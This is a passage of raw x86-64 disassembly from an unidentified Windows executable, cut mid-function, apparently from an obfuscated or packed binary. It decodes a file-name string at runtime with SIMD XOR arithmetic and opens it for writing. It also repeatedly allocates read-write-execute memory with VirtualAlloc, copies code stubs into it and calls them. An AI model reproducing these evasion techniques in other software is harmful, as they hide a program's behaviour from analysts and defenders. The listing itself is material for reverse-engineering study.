jne 0x14001f815
call fcn.140009bf0
mov ecx, dword [rsp + 0x40]
add ecx, eax
jmp 0x14001f820
call fcn.140009bf0
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov byte [rbp + 0x10], 0
mov edi, 5
nop dword [rax]
mov ebx, r13d
nop dword [rax]
nop word [rax + rax]
mov r9d, dword [rbp + 4]
mov r8d, dword [rbp]
lea rdx, [rbp + 0x150]
lea rcx, [rbp]
call fcn.140009bf0
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0xf8]
call fcn.140021f10
addsd xmm0, qword [rsp + 0x48]
movsd qword [rsp + 0x48], xmm0
lea rdx, [rbp + 0x150]
test bl, 1
jne 0x14001f8ab
mov r9d, dword [rbp + 4]
mov r8d, dword [rbp]
lea rcx, [rbp]
call fcn.140009bf0
mov ecx, dword [rsp + 0x40]
imul ecx, eax
mov dword [rsp + 0x40], ecx
jmp 0x14001f8cb
lea rcx, [rbp + 0xf8]
call fcn.140021f10
movsd xmm1, qword [rsp + 0x48]
addsd xmm0, xmm6
divsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
inc ebx
cmp ebx, 5
jl 0x14001f840
sub rdi, 1
jne 0x14001f830
mov r9d, dword [rbp + 4]
mov r8d, dword [rbp]
lea rdx, [rbp + 0x150]
lea rcx, [rbp]
call fcn.140009bf0
mov ebx, eax
mov r9d, dword [rbp + 4]
mov r8d, dword [rbp]
lea rdx, [rbp + 0x150]
lea rcx, [rbp]
call fcn.140009bf0
mov r8d, ebx
mov edx, eax
lea rcx, [rbp + 0x10]
call fcn.1400218b0
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rbp + 0x80]
call fcn.1400047a0
sub r12, 1
jne 0x14001ea60
lea rcx, [rbp + 0x108]
call fcn.140009fc0
mov rsi, qword [rsp + 0x50]
mov qword [rbp + 0x18], rsi
mov rax, qword [rax]
mov qword [rbp + 0x40], rax
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x40]
call fcn.140021870
test al, al
js 0x14001ea50
movabs r12, 0xff00ff00ff00ff00
mov eax, dword [rsp + 0x40]
lea rcx, [rbp + 0xb8]
call fcn.140004eb0
nop
lea rcx, [rbp + 0xa0]
call fcn.140021e60
mov r11, qword [0x14006dab8]
movups xmm0, xmmword [0x14005af68]
movups xmmword [rbp - 0x28], xmm0
movups xmm1, xmmword [0x14005af78]
movups xmmword [rbp - 0x18], xmm1
mov eax, dword [0x14005af88]
mov dword [rbp - 8], eax
movzx eax, word [0x14005af8c]
mov word [rbp - 4], ax
mov r9d, r13d
cmp dword [0x140065098], 2
jl 0x14001fbbb
movdqa xmm9, xmmword [0x14005afe0]
movdqa xmm7, xmmword [0x14005b070]
movdqa xmm8, xmmword [0x14005b060]
movdqa xmm10, xmmword [str.ffff]
movdqa xmm11, xmmword [0x14005b000]
movdqa xmm12, xmmword [0x14005b020]
lea rcx, [rbp - 0x28]
nop dword [rax]
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, 6
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, 6
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm10
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm12
paddw xmm3, xmm0
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, 6
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, 6
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm10
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm12
paddw xmm3, xmm0
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r9d, 8
lea rcx, [rcx + 0x10]
cmp r9d, 0x10
jl 0x14001fa20
cmp r9d, 0x13
jge 0x14001fc27
movsxd rax, r9d
lea r10, [rbp - 0x28]
lea r10, [r10 + rax*2]
nop word [rax + rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x3e
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x33
sub cx, r8w
add cx, r9w
add cx, cx
add cx, 0x1d
xor word [r10], cx
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0x13
jl 0x14001fbd0
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], r15d
xor r9d, r9d
mov r8d, r15d
mov edx, 0x40000000
lea rcx, [rbp - 0x28]
call r11
mov r13, rax
mov qword [rsp + 0x78], rax
call fcn.140024c3c
mov dword [rbp + 0x14d4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x150]
call fcn.1400068a0
mov dword [rbp], 0xffffff9c
mov dword [rbp + 4], 0x64
movdqa xmm0, xmmword [0x14005b040]
movups xmmword [rbp + 0xe0], xmm0
xor edi, edi
mov dword [rsp + 0x40], edi
movsd qword [rsp + 0x48], xmm13
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], rax
lea rcx, [rbp + 0xa0]
call fcn.140008aa0
nop
lea rcx, [rsp + 0x50]
call fcn.140021fb0
nop
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.140021fe0
nop
lea rdx, [rbp + 8]
lea rcx, [rbp + 0xa0]
call fcn.140022230
nop
lea rcx, [rbp + 8]
call fcn.1400086c0
nop
lea rcx, [rsp + 0x50]
call fcn.1400086c0
lea rcx, [rsp + 0x50]
call fcn.140022000
nop
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.140021fe0
nop
lea rdx, [rbp + 8]
lea rcx, [rbp + 0xa0]
call fcn.140022230
nop
lea rcx, [rbp + 8]
call fcn.1400086c0
nop
lea rcx, [rsp + 0x50]
call fcn.1400086c0
lea rcx, [rsp + 0x50]
call fcn.140022030
nop
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.140021fe0
nop
lea rdx, [rbp + 8]
lea rcx, [rbp + 0xa0]
call fcn.140022230
nop
lea rcx, [rbp + 8]
call fcn.1400086c0
nop
lea rcx, [rsp + 0x50]
call fcn.1400086c0
lea rcx, [rsp + 0x50]
call fcn.140022060
nop
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.140021fe0
nop
lea rdx, [rbp + 8]
lea rcx, [rbp + 0xa0]
call fcn.140022230
nop
lea rcx, [rbp + 8]
call fcn.1400086c0
nop
lea rcx, [rsp + 0x50]
call fcn.1400086c0
lea rcx, [rsp + 0x50]
call fcn.140022090
nop
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.140021fe0
nop
lea rdx, [rbp + 8]
lea rcx, [rbp + 0xa0]
call fcn.140022230
nop
lea rcx, [rbp + 8]
call fcn.1400086c0
nop
lea rcx, [rsp + 0x50]
call fcn.1400086c0
lea rcx, [rsp + 0x50]
call fcn.1400220c0
nop
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.140021fe0
nop
lea rdx, [rbp + 8]
lea rcx, [rbp + 0xa0]
call fcn.140022230
nop
lea rcx, [rbp + 8]
call fcn.1400086c0
nop
lea rcx, [rsp + 0x50]
call fcn.1400086c0
lea rcx, [rbp + 0x108]
call fcn.140009fc0
mov qword [rsp + 0x50], 0x64
mov rax, qword [rbp + 0x108]
mov qword [rsp + 0x58], rax
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 0x80]
call fcn.140022100
mov rsi, qword [rax]
mov qword [rbp - 0x78], rsi
lea rdx, str.Rampant_nsanctuaries_nparenting_ncell_naccessible_nnecklaces_nyounger_ncontacts_nretreat_neffects_nmilitary_nKohgiluyeh_nChromatisme_nInternationale_nNational_ndisaster_ndreaming_nTeaching_nhistoric_nsending
lea rcx, [rbp + 0x130]
call fcn.140005020
nop
lea rcx, [rbp + 0x110]
call fcn.140009fc0
mov qword [rbp + 0x40], rsi
mov rax, qword [rax]
mov qword [rbp + 0x18], rax
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x18]
call fcn.140021870
test al, al
jns 0x140020dbf
movabs r13, 0xff00ff00ff00ff00
mov r12d, 0x2710
lea rsi, [rbp + 0x11598]
mov r9d, dword [rbp + 4]
mov r8d, dword [rbp]
lea rdx, [rbp + 0x150]
lea rcx, [rbp]
call fcn.140009bf0
mov rbx, qword [rbp + 0xa8]
sub rbx, qword [rbp + 0xa0]
sar rbx, 3
mov r9d, dword [rbp + 4]
mov r8d, dword [rbp]
lea rdx, [rbp + 0x150]
lea rcx, [rbp]
call fcn.140009bf0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0xa0]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
mov r9d, dword [rbp + 4]
mov r8d, dword [rbp]
lea rdx, [rbp + 0x150]
lea rcx, [rbp]
call fcn.140009bf0
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x28], r13
mov qword [rbp + 0x30], rsi
mov r14, qword [rsi]
xor r14, r13
mov qword [rbp + 0x20], r14
mov qword [rsi], rax
mov dword [rbp + 0x98], eax
mov dword [rbp + 0x9c], 0x19
lea rcx, [rbp + 0x130]
call fcn.140004ea0
mov rbx, rax
lea rcx, [rbp + 0x130]
call fcn.1400216d0
mov rdi, rax
cmp rbx, rax
je 0x14001ffcd
nop word [rax + rax]
mov r9d, dword [rbp + 0x9c]
mov r8d, dword [rbp + 0x98]
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x98]
call fcn.140009bf0
add al, 0x61
mov byte [rbx], al
inc rbx
cmp rbx, rdi
jne 0x14001ffa0
xor r14, r13
mov qword [rbp + 0x20], r14
mov qword [rsi], r14
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], rax
lea rcx, [rbp + 0x80]
call fcn.140008aa0
mov edx, 0x64
lea rcx, [rbp + 0x80]
call fcn.1400074f0
nop
lea rax, [rbp]
mov qword [rbp - 0x70], rax
lea rax, [rbp + 0x150]
mov qword [rbp - 0x68], rax
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x80]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x80]
call fcn.140021420
movaps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp + 0x40], xmm0
lea r8, [rbp + 0x40]
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140022120
lea r8, [rbp + 0x80]
mov rdx, qword [rbp + 0x88]
lea rcx, [rsp + 0x50]
call fcn.1400213f0
mov rbx, qword [rsp + 0x50]
lea r8, [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
lea rcx, [rsp + 0x58]
call fcn.1400213f0
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rsp + 0x58]
call fcn.1400221a0
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x28], r13
mov qword [rbp + 0x30], rsi
mov r14, qword [rsi]
mov rax, r14
xor rax, r13
mov qword [rbp + 0x20], rax
mov qword [rsi], 0
mov dword [rbp + 8], 0xffffff9c
mov dword [rbp + 0xc], 0x64
lea rax, [rbp + 8]
mov qword [rbp + 0x60], rax
lea rax, [rbp + 0x150]
mov qword [rbp + 0x68], rax
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x80]
call fcn.140021420
mov rdi, qword [rax]
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0x80]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x80]
call fcn.140021420
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x40], xmm0
lea rcx, [rbp + 0x40]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp - 0x38]
call fcn.140021780
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x80]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0x80]
call fcn.140021420
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140021f90
nop
mov qword [rbp + 0x20], r14
mov qword [rsi], r14
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0xe0]
call fcn.140021f10
movsd qword [rbp + 0x40], xmm0
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0xe0]
call fcn.140021f10
movsd qword [rbp + 0x18], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0xb8], xmm0
mov qword [rbp + 0xc0], r13
mov qword [rbp + 0xc8], rsi
mov rdi, qword [rsi]
xor rdi, r13
mov qword [rbp + 0xb8], rdi
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x28], r13
mov qword [rbp + 0x30], rsi
mov qword [rbp + 0x20], r13
xor ebx, ebx
mov qword [rsi], rbx
mov ecx, ebx
mov rax, qword [0x14006a520]
lea r14, [0x140000000]
test rax, rax
je 0x140020239
mov edx, ebx
lea r8, [0x140021750]
nop word [rax + rax]
cmp rax, r8
je 0x140020228
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x6a520]
test rax, rax
jne 0x140020210
jmp 0x140020239
mov r8, qword [r14 + rdx*8 + 0x69230]
test r8, r8
jne 0x140020326
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140020262
mov r8, rbx
jmp 0x1400202fe
lea rax, [0x140021750]
mov rcx, r8
mov rdx, r15
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140020270
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068f00]
lea rcx, [0x140021750]
mov qword [r14 + rax*8 + 0x6a520], rcx
mov qword [r14 + rax*8 + 0x69230], r8
inc rax
mov qword [0x140068f00], rax
lea rdx, [rbp + 0x18]
lea rcx, [0x140009f30]
call r8
nop
mov qword [rbp + 0x20], rbx
mov qword [rsi], rbx
addsd xmm0, xmm6
movsd qword [rsp + 0x70], xmm0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x28], r13
mov qword [rbp + 0x30], rsi
mov rbx, qword [rsi]
xor rbx, r13
mov qword [rbp + 0x20], rbx
mov qword [rsi], rax
xor ecx, ecx
mov rax, qword [0x140067c30]
test rax, rax
je 0x1400203a9
xor edx, edx
lea r8, [0x140021750]
nop dword [rax + rax]
cmp rax, r8
je 0x140020398
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x67c30]
test rax, rax
jne 0x140020380
jmp 0x1400203a9
mov r8, qword [r14 + rdx*8 + 0x6ce10]
test r8, r8
jne 0x140020496
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x14002046e
lea rax, [0x140021750]
mov rcx, r8
mov rdx, r15
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400203e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
lea rcx, [0x140021750]
mov qword [r14 + rax*8 + 0x67c30], rcx
mov qword [r14 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x40]
lea rcx, [0x14002ed10]
call r8
movaps xmm9, xmm0
xor rbx, r13
mov qword [rbp + 0x20], rbx
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rbp + 0x20], xmm1
mov qword [rbp + 0x28], r13
mov qword [rbp + 0x30], rsi
xor rbx, r13
mov qword [rbp + 0x20], rbx
mov qword [rsi], rax
xor ecx, ecx
mov rax, qword [0x14006d450]
test rax, rax
je 0x14002050a
xor edx, edx
lea r8, [0x140021750]
cmp rax, r8
je 0x1400204f9
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x6d450]
test rax, rax
jne 0x1400204e1
jmp 0x14002050a
mov r8, qword [r14 + rdx*8 + 0x68be0]
test r8, r8
jne 0x1400205f6
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x1400205ce
lea rax, [0x140021750]
mov rcx, r8
mov rdx, r15
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140020540
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068270]
lea rcx, [0x140021750]
mov qword [r14 + rax*8 + 0x6d450], rcx
mov qword [r14 + rax*8 + 0x68be0], r8
inc rax
mov qword [0x140068270], rax
lea rdx, [rsp + 0x70]
lea rcx, [0x14002e7e0]
call r8
movaps xmm8, xmm0
xor rbx, r13
mov qword [rbp + 0x20], rbx
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rbp + 0x20], xmm1
mov qword [rbp + 0x28], r13
mov qword [rbp + 0x30], rsi
xor rbx, r13
mov qword [rbp + 0x20], rbx
mov qword [rsi], rax
xor ecx, ecx
mov rax, qword [0x140067c30]
test rax, rax
je 0x14002066b
xor edx, edx
lea r8, [0x140021750]
cmp rax, r8
je 0x14002065a
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x67c30]
test rax, rax
jne 0x140020642
jmp 0x14002066b
mov r8, qword [r14 + rdx*8 + 0x6ce10]
test r8, r8
jne 0x140020756
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x14002072e
lea rax, [0x140021750]
mov rcx, r8
mov rdx, r15
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400206a0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
lea rcx, [0x140021750]
mov qword [r14 + rax*8 + 0x67c30], rcx
mov qword [r14 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x40]
lea rcx, [0x14002e260]
call r8
movaps xmm7, xmm0
xor rbx, r13
mov qword [rbp + 0x20], rbx
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rbp + 0x20], xmm1
mov qword [rbp + 0x28], r13
mov qword [rbp + 0x30], rsi
xor rbx, r13
mov qword [rbp + 0x20], rbx
mov qword [rsi], rax
xor ecx, ecx
mov rax, qword [0x140067c30]
test rax, rax
je 0x1400207c9
xor edx, edx
lea r8, [0x140021750]
cmp rax, r8
je 0x1400207b8
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x67c30]
test rax, rax
jne 0x1400207a0
jmp 0x1400207c9
mov r8, qword [r14 + rdx*8 + 0x6ce10]
test r8, r8
jne 0x1400208b6
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x14002088e
lea rax, [0x140021750]
mov rcx, r8
mov rdx, r15
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140020800
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
lea rcx, [0x140021750]
mov qword [r14 + rax*8 + 0x67c30], rcx
mov qword [r14 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x18]
lea rcx, [0x14002dcf0]
call r8
nop
xor rbx, r13
mov qword [rbp + 0x20], rbx
mulsd xmm0, xmm7
addsd xmm0, xmm8
subsd xmm0, xmm9
xor rdi, r13
mov qword [rbp + 0xb8], rdi
mov qword [rsi], rdi
addsd xmm0, qword [rsp + 0x48]
movsd qword [rsp + 0x48], xmm0
mov dword [rbp + 0x18], r15d
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0xe0]
call fcn.140021f10
movsd qword [rsp + 0x68], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0xb8], xmm0
mov qword [rbp + 0xc0], r13
mov qword [rbp + 0xc8], rsi
mov rbx, qword [rsi]
xor rbx, r13
mov qword [rbp + 0xb8], rbx
xor edi, edi
mov qword [rsi], rdi
mov ecx, edi
mov rax, qword [0x14006c170]
test rax, rax
je 0x14002097a
mov edx, edi
lea r8, [0x140021830]
cmp rax, r8
je 0x140020969
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x6c170]
test rax, rax
jne 0x140020951
jmp 0x14002097a
mov r9, qword [r14 + rdx*8 + 0x6b7f0]
test r9, r9
jne 0x140020a66
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x1400209a3
mov r9, rdi
jmp 0x140020a3e
lea rax, [0x140021830]
mov rcx, r9
mov rdx, r15
